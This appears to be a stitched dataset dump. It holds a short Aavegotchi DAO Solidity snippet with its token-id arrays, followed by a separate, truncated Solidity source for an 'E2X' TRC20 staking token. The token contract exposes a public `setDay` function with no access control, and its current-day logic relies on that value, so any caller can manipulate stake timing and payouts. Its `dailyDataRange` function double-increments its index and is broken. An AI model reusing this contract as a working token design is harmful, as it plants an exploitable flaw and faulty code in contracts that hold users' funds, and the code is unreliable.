onlyDaoOrOwner { emit GameManagerTransferred(s.gameManager, _gameManager); s.gameManager = _gameManager; } }
Prevent the same collateral from being added multiple times
function addCollateralTypes(AavegotchiCollateralTypeIO[] calldata _collateralTypes) external onlyDaoOrOwner { for (uint256 i; i < _collateralTypes.length; i++) { address collateralType = _collateralTypes[i].collateralType; require(s.collateralTypeInfo[collateralType].cheekColor == 0, "DAOFacet: Collateral already added"); s.collateralTypeIndexes[collateralType] = s.collateralTypes.length; s.collateralTypes.push(collateralType); s.collateralTypeInfo[collateralType] = _collateralTypes[i].collateralTypeInfo; emit AddCollateralType(_collateralTypes[i]); } }
881,010
[ 1, 25828, 326, 1967, 4508, 2045, 287, 628, 3832, 3096, 3229, 4124, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 13535, 2045, 287, 2016, 12, 37, 836, 13212, 24010, 13535, 2045, 287, 559, 4294, 8526, 745, 892, 389, 12910, 2045, 287, 2016, 13, 3903, 1338, 11412, 1162, 5541, 288, 203, 3639, 364, 261, 11890, 5034, 277, 31, 277, 411, 389, 12910, 2045, 287, 2016, 18, 2469, 31, 277, 27245, 288, 203, 5411, 1758, 4508, 2045, 287, 559, 273, 389, 12910, 2045, 287, 2016, 63, 77, 8009, 12910, 2045, 287, 559, 31, 203, 203, 5411, 2583, 12, 87, 18, 12910, 2045, 287, 17305, 63, 12910, 2045, 287, 559, 8009, 343, 3317, 2957, 422, 374, 16, 315, 9793, 3932, 1077, 278, 30, 17596, 2045, 287, 1818, 3096, 8863, 203, 203, 5411, 272, 18, 12910, 2045, 287, 559, 8639, 63, 12910, 2045, 287, 559, 65, 273, 272, 18, 12910, 2045, 287, 2016, 18, 2469, 31, 203, 5411, 272, 18, 12910, 2045, 287, 2016, 18, 6206, 12, 12910, 2045, 287, 559, 1769, 203, 5411, 272, 18, 12910, 2045, 287, 17305, 63, 12910, 2045, 287, 559, 65, 273, 389, 12910, 2045, 287, 2016, 63, 77, 8009, 12910, 2045, 287, 17305, 31, 203, 5411, 3626, 1436, 13535, 2045, 287, 559, 24899, 12910, 2045, 287, 2016, 63, 77, 19226, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.10; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface TRC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Implementation of the {TRC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {TRC20-approve}. */ contract ERC20 is Context, TRC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // allocating 30 million tokens for promotion, airdrop, liquidity and dev share uint256 private _totalSupply = 30000000 * (10 ** 8); constructor() public { _balances[msg.sender] = _totalSupply; } /** * @dev See {TRC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {TRC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {TRC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {TRC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {TRC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {TRC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {TRC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {TRC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev External function to destroys `amount` tokens from `account`, reducing the * total supply. */ function burn(uint256 amount) external { _burn(msg.sender, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract GlobalsAndUtility is ERC20 { /* XfLobbyEnter */ event XfLobbyEnter( uint256 timestamp, uint256 enterDay, uint256 indexed entryIndex, uint256 indexed rawAmount ); /* XfLobbyExit */ event XfLobbyExit( uint256 timestamp, uint256 enterDay, uint256 indexed entryIndex, uint256 indexed xfAmount, address indexed referrerAddr ); /* DailyDataUpdate */ event DailyDataUpdate( address indexed updaterAddr, uint256 timestamp, uint256 beginDay, uint256 endDay ); /* StakeStart */ event StakeStart( uint40 indexed stakeId, address indexed stakerAddr, uint256 stakedSuns, uint256 stakeShares, uint256 stakedDays ); /* StakeGoodAccounting */ event StakeGoodAccounting( uint40 indexed stakeId, address indexed stakerAddr, address indexed senderAddr, uint256 stakedSuns, uint256 stakeShares, uint256 payout, uint256 penalty ); /* StakeEnd */ event StakeEnd( uint40 indexed stakeId, uint40 prevUnlocked, address indexed stakerAddr, uint256 lockedDay, uint256 servedDays, uint256 stakedSuns, uint256 stakeShares, uint256 dividends, uint256 payout, uint256 penalty, uint256 stakeReturn ); /* ShareRateChange */ event ShareRateChange( uint40 indexed stakeId, uint256 timestamp, uint256 newShareRate ); /* Flush address */ address payable internal constant FLUSH_ADDR = 0x964216236CAa8F5133aB6A81F2Cb9cA1e8944171; /* T2X allocation share address */ address payable internal constant T2X_SHARE_ADDR = 0x769902b4cB2dfD79F2370555AD255Bf599bF7155; uint8 internal LAST_FLUSHED_DAY = 1; /* ERC20 constants */ string public constant name = "E2X"; string public constant symbol = "E2X"; uint8 public constant decimals = 8; /* Suns per Satoshi = 10,000 * 1e8 / 1e8 = 1e4 */ uint256 private constant SUNS_PER_E2X = 10 ** uint256(decimals); // 1e8 /* Time of contract launch (2020-7-11T00:00:00Z) */ uint256 internal constant LAUNCH_TIME = 1594425600; /* Start of claim phase */ uint256 internal constant PRE_CLAIM_DAYS = 1; uint256 internal constant CLAIM_STARTING_AMOUNT = 5000000 * (10 ** 8); uint256 internal constant CLAIM_LOWEST_AMOUNT = 1000000 * (10 ** 8); uint256 internal constant CLAIM_PHASE_START_DAY = PRE_CLAIM_DAYS; /* Number of words to hold 1 bit for each transform lobby day */ uint256 internal constant XF_LOBBY_DAY_WORDS = ((1 + (50 * 7)) + 255) >> 8; /* Stake timing parameters */ uint256 internal constant MIN_STAKE_DAYS = 1; uint256 internal constant MAX_STAKE_DAYS = 5555; // Approx 15 years uint256 internal constant EARLY_PENALTY_MIN_DAYS = 90; uint256 private constant LATE_PENALTY_GRACE_WEEKS = 2; uint256 internal constant LATE_PENALTY_GRACE_DAYS = LATE_PENALTY_GRACE_WEEKS * 7; uint256 private constant LATE_PENALTY_SCALE_WEEKS = 100; uint256 internal constant LATE_PENALTY_SCALE_DAYS = LATE_PENALTY_SCALE_WEEKS * 7; /* Stake shares Longer Pays Better bonus constants used by _stakeStartBonusSuns() */ uint256 private constant LPB_BONUS_PERCENT = 20; uint256 private constant LPB_BONUS_MAX_PERCENT = 200; uint256 internal constant LPB = 364 * 100 / LPB_BONUS_PERCENT; uint256 internal constant LPB_MAX_DAYS = LPB * LPB_BONUS_MAX_PERCENT / 100; /* Stake shares Bigger Pays Better bonus constants used by _stakeStartBonusSuns() */ uint256 private constant BPB_BONUS_PERCENT = 10; uint256 private constant BPB_MAX_E2X = 7 * 1e6; uint256 internal constant BPB_MAX_SUNS = BPB_MAX_E2X * SUNS_PER_E2X; uint256 internal constant BPB = BPB_MAX_SUNS * 100 / BPB_BONUS_PERCENT; /* Share rate is scaled to increase precision */ uint256 internal constant SHARE_RATE_SCALE = 1e5; /* Share rate max (after scaling) */ uint256 internal constant SHARE_RATE_UINT_SIZE = 40; uint256 internal constant SHARE_RATE_MAX = (1 << SHARE_RATE_UINT_SIZE) - 1; /* weekly staking bonus */ uint8 internal constant BONUS_DAY_SCALE = 2; /* Globals expanded for memory (except _latestStakeId) and compact for storage */ struct GlobalsCache { uint256 _lockedSunsTotal; uint256 _nextStakeSharesTotal; uint256 _shareRate; uint256 _stakePenaltyTotal; uint256 _dailyDataCount; uint256 _stakeSharesTotal; uint40 _latestStakeId; uint256 _currentDay; } struct GlobalsStore { uint72 lockedSunsTotal; uint72 nextStakeSharesTotal; uint40 shareRate; uint72 stakePenaltyTotal; uint16 dailyDataCount; uint72 stakeSharesTotal; uint40 latestStakeId; } GlobalsStore public globals; /* Daily data */ struct DailyDataStore { uint72 dayPayoutTotal; uint256 dayDividends; uint72 dayStakeSharesTotal; } mapping(uint256 => DailyDataStore) public dailyData; /* Stake expanded for memory (except _stakeId) and compact for storage */ struct StakeCache { uint40 _stakeId; uint256 _stakedSuns; uint256 _stakeShares; uint256 _lockedDay; uint256 _stakedDays; uint256 _unlockedDay; } struct StakeStore { uint40 stakeId; uint72 stakedSuns; uint72 stakeShares; uint16 lockedDay; uint16 stakedDays; uint16 unlockedDay; } mapping(address => StakeStore[]) public stakeLists; /* Temporary state for calculating daily rounds */ struct DailyRoundState { uint256 _allocSupplyCached; uint256 _payoutTotal; } struct XfLobbyEntryStore { uint96 rawAmount; address referrerAddr; } struct XfLobbyQueueStore { uint40 headIndex; uint40 tailIndex; mapping(uint256 => XfLobbyEntryStore) entries; } mapping(uint256 => uint256) public xfLobby; mapping(uint256 => mapping(address => XfLobbyQueueStore)) public xfLobbyMembers; /** * @dev PUBLIC FACING: Optionally update daily data for a smaller * range to reduce gas cost for a subsequent operation * @param beforeDay Only update days before this day number (optional; 0 for current day) */ function dailyDataUpdate(uint256 beforeDay) external { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); /* Skip pre-claim period */ require(g._currentDay > CLAIM_PHASE_START_DAY, "E2X: Too early"); if (beforeDay != 0) { require(beforeDay <= g._currentDay, "E2X: beforeDay cannot be in the future"); _dailyDataUpdate(g, beforeDay, false); } else { /* Default to updating before current day */ _dailyDataUpdate(g, g._currentDay, false); } _globalsSync(g, gSnapshot); } /** * @dev PUBLIC FACING: External helper to return multiple values of daily data with * a single call. * @param beginDay First day of data range * @param endDay Last day (non-inclusive) of data range * @return array of day stake shares total * @return array of day payout total */ function dailyDataRange(uint256 beginDay, uint256 endDay) external view returns (uint256[] memory _dayStakeSharesTotal, uint256[] memory _dayPayoutTotal, uint256[] memory _dayDividends) { require(beginDay < endDay && endDay <= globals.dailyDataCount, "E2X: range invalid"); _dayStakeSharesTotal = new uint256[](endDay - beginDay); _dayPayoutTotal = new uint256[](endDay - beginDay); _dayDividends = new uint256[](endDay - beginDay); uint256 src = beginDay; uint256 dst = 0; do { _dayStakeSharesTotal[dst] = uint256(dailyData[src].dayStakeSharesTotal); _dayPayoutTotal[dst++] = uint256(dailyData[src].dayPayoutTotal); _dayDividends[dst++] = dailyData[src].dayDividends; } while (++src < endDay); return (_dayStakeSharesTotal, _dayPayoutTotal, _dayDividends); } /** * @dev PUBLIC FACING: External helper to return most global info with a single call. * Ugly implementation due to limitations of the standard ABI encoder. * @return Fixed array of values */ function globalInfo() external view returns (uint256[10] memory) { return [ globals.lockedSunsTotal, globals.nextStakeSharesTotal, globals.shareRate, globals.stakePenaltyTotal, globals.dailyDataCount, globals.stakeSharesTotal, globals.latestStakeId, block.timestamp, totalSupply(), xfLobby[_currentDay()] ]; } /** * @dev PUBLIC FACING: ERC20 totalSupply() is the circulating supply and does not include any * staked Suns. allocatedSupply() includes both. * @return Allocated Supply in Suns */ function allocatedSupply() external view returns (uint256) { return totalSupply() + globals.lockedSunsTotal; } /** * @dev PUBLIC FACING: External helper for the current day number since launch time * @return Current day number (zero-based) */ function currentDay() external view returns (uint256) { return _currentDay(); } uint256 Dday = 1; function setDay(uint256 day) external { Dday = day; } function _currentDay() internal view returns (uint256) { if (block.timestamp < LAUNCH_TIME){ return 0; }else{ return Dday; } } function _dailyDataUpdateAuto(GlobalsCache memory g) internal { _dailyDataUpdate(g, g._currentDay, true); } function _globalsLoad(GlobalsCache memory g, GlobalsCache memory gSnapshot) internal view { g._lockedSunsTotal = globals.lockedSunsTotal; g._nextStakeSharesTotal = globals.nextStakeSharesTotal; g._shareRate = globals.shareRate; g._stakePenaltyTotal = globals.stakePenaltyTotal; g._dailyDataCount = globals.dailyDataCount; g._stakeSharesTotal = globals.stakeSharesTotal; g._latestStakeId = globals.latestStakeId; g._currentDay = _currentDay(); _globalsCacheSnapshot(g, gSnapshot); } function _globalsCacheSnapshot(GlobalsCache memory g, GlobalsCache memory gSnapshot) internal pure { gSnapshot._lockedSunsTotal = g._lockedSunsTotal; gSnapshot._nextStakeSharesTotal = g._nextStakeSharesTotal; gSnapshot._shareRate = g._shareRate; gSnapshot._stakePenaltyTotal = g._stakePenaltyTotal; gSnapshot._dailyDataCount = g._dailyDataCount; gSnapshot._stakeSharesTotal = g._stakeSharesTotal; gSnapshot._latestStakeId = g._latestStakeId; } function _globalsSync(GlobalsCache memory g, GlobalsCache memory gSnapshot) internal { if (g._lockedSunsTotal != gSnapshot._lockedSunsTotal || g._nextStakeSharesTotal != gSnapshot._nextStakeSharesTotal || g._shareRate != gSnapshot._shareRate || g._stakePenaltyTotal != gSnapshot._stakePenaltyTotal) { globals.lockedSunsTotal = uint72(g._lockedSunsTotal); globals.nextStakeSharesTotal = uint72(g._nextStakeSharesTotal); globals.shareRate = uint40(g._shareRate); globals.stakePenaltyTotal = uint72(g._stakePenaltyTotal); } if (g._dailyDataCount != gSnapshot._dailyDataCount || g._stakeSharesTotal != gSnapshot._stakeSharesTotal || g._latestStakeId != gSnapshot._latestStakeId) { globals.dailyDataCount = uint16(g._dailyDataCount); globals.stakeSharesTotal = uint72(g._stakeSharesTotal); globals.latestStakeId = g._latestStakeId; } } function _stakeLoad(StakeStore storage stRef, uint40 stakeIdParam, StakeCache memory st) internal view { /* Ensure caller's stakeIndex is still current */ require(stakeIdParam == stRef.stakeId, "E2X: stakeIdParam not in stake"); st._stakeId = stRef.stakeId; st._stakedSuns = stRef.stakedSuns; st._stakeShares = stRef.stakeShares; st._lockedDay = stRef.lockedDay; st._stakedDays = stRef.stakedDays; st._unlockedDay = stRef.unlockedDay; } function _stakeUpdate(StakeStore storage stRef, StakeCache memory st) internal { stRef.stakeId = st._stakeId; stRef.stakedSuns = uint72(st._stakedSuns); stRef.stakeShares = uint72(st._stakeShares); stRef.lockedDay = uint16(st._lockedDay); stRef.stakedDays = uint16(st._stakedDays); stRef.unlockedDay = uint16(st._unlockedDay); } function _stakeAdd( StakeStore[] storage stakeListRef, uint40 newStakeId, uint256 newStakedSuns, uint256 newStakeShares, uint256 newLockedDay, uint256 newStakedDays ) internal { stakeListRef.push( StakeStore( newStakeId, uint72(newStakedSuns), uint72(newStakeShares), uint16(newLockedDay), uint16(newStakedDays), uint16(0) // unlockedDay ) ); } /** * @dev Efficiently delete from an unordered array by moving the last element * to the "hole" and reducing the array length. Can change the order of the list * and invalidate previously held indexes. * @notice stakeListRef length and stakeIndex are already ensured valid in stakeEnd() * @param stakeListRef Reference to stakeLists[stakerAddr] array in storage * @param stakeIndex Index of the element to delete */ function _stakeRemove(StakeStore[] storage stakeListRef, uint256 stakeIndex) internal { uint256 lastIndex = stakeListRef.length - 1; /* Skip the copy if element to be removed is already the last element */ if (stakeIndex != lastIndex) { /* Copy last element to the requested element's "hole" */ stakeListRef[stakeIndex] = stakeListRef[lastIndex]; } /* Reduce the array length now that the array is contiguous. Surprisingly, 'pop()' uses less gas than 'stakeListRef.length = lastIndex' */ stakeListRef.pop(); } /** * @dev Estimate the stake payout for an incomplete day * @param g Cache of stored globals * @param stakeSharesParam Param from stake to calculate bonuses for * @param day Day to calculate bonuses for * @return Payout in Suns */ function _estimatePayoutRewardsDay(GlobalsCache memory g, uint256 stakeSharesParam, uint256 day) internal view returns (uint256 payout) { /* Prevent updating state for this estimation */ GlobalsCache memory gTmp; _globalsCacheSnapshot(g, gTmp); DailyRoundState memory rs; rs._allocSupplyCached = totalSupply() + g._lockedSunsTotal; _dailyRoundCalc(gTmp, rs, day); /* Stake is no longer locked so it must be added to total as if it were */ gTmp._stakeSharesTotal += stakeSharesParam; payout = rs._payoutTotal * stakeSharesParam / gTmp._stakeSharesTotal; return payout; } function _dailyRoundCalc(GlobalsCache memory g, DailyRoundState memory rs, uint256 day) private view { /* Calculate payout round Inflation of 5.42% inflation per 364 days (approx 1 year) dailyInterestRate = exp(log(1 + 5.42%) / 364) - 1 = exp(log(1 + 0.0542) / 364) - 1 = exp(log(1.0542) / 364) - 1 = 0.0.00014523452066 (approx) payout = allocSupply * dailyInterestRate = allocSupply / (1 / dailyInterestRate) = allocSupply / (1 / 0.00014523452066) = allocSupply / 6885.4153644438375 (approx) = allocSupply * 50000 / 68854153 (* 50000/50000 for int precision) */ rs._payoutTotal = (rs._allocSupplyCached * 50000 / 68854153); if (g._stakePenaltyTotal != 0) { rs._payoutTotal += g._stakePenaltyTotal; g._stakePenaltyTotal = 0; } } function _dailyRoundCalcAndStore(GlobalsCache memory g, DailyRoundState memory rs, uint256 day) private { _dailyRoundCalc(g, rs, day); dailyData[day].dayPayoutTotal = uint72(rs._payoutTotal); dailyData[day].dayDividends = xfLobby[day]; dailyData[day].dayStakeSharesTotal = uint72(g._stakeSharesTotal); } function _dailyDataUpdate(GlobalsCache memory g, uint256 beforeDay, bool isAutoUpdate) private { if (g._dailyDataCount >= beforeDay) { /* Already up-to-date */ return; } DailyRoundState memory rs; rs._allocSupplyCached = totalSupply() + g._lockedSunsTotal; uint256 day = g._dailyDataCount; _dailyRoundCalcAndStore(g, rs, day); /* Stakes started during this day are added to the total the next day */ if (g._nextStakeSharesTotal != 0) { g._stakeSharesTotal += g._nextStakeSharesTotal; g._nextStakeSharesTotal = 0; } while (++day < beforeDay) { _dailyRoundCalcAndStore(g, rs, day); } emit DailyDataUpdate( msg.sender, block.timestamp, g._dailyDataCount, day ); g._dailyDataCount = day; } } contract StakeableToken is GlobalsAndUtility { /** * @dev PUBLIC FACING: Open a stake. * @param newStakedSuns Number of Suns to stake * @param newStakedDays Number of days to stake */ function stakeStart(uint256 newStakedSuns, uint256 newStakedDays) external { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); /* Enforce the minimum stake time */ require(newStakedDays >= MIN_STAKE_DAYS, "E2X: newStakedDays lower than minimum"); /* Check if log data needs to be updated */ _dailyDataUpdateAuto(g); _stakeStart(g, newStakedSuns, newStakedDays); /* Remove staked Suns from balance of staker */ _burn(msg.sender, newStakedSuns); _globalsSync(g, gSnapshot); } /** * @dev PUBLIC FACING: 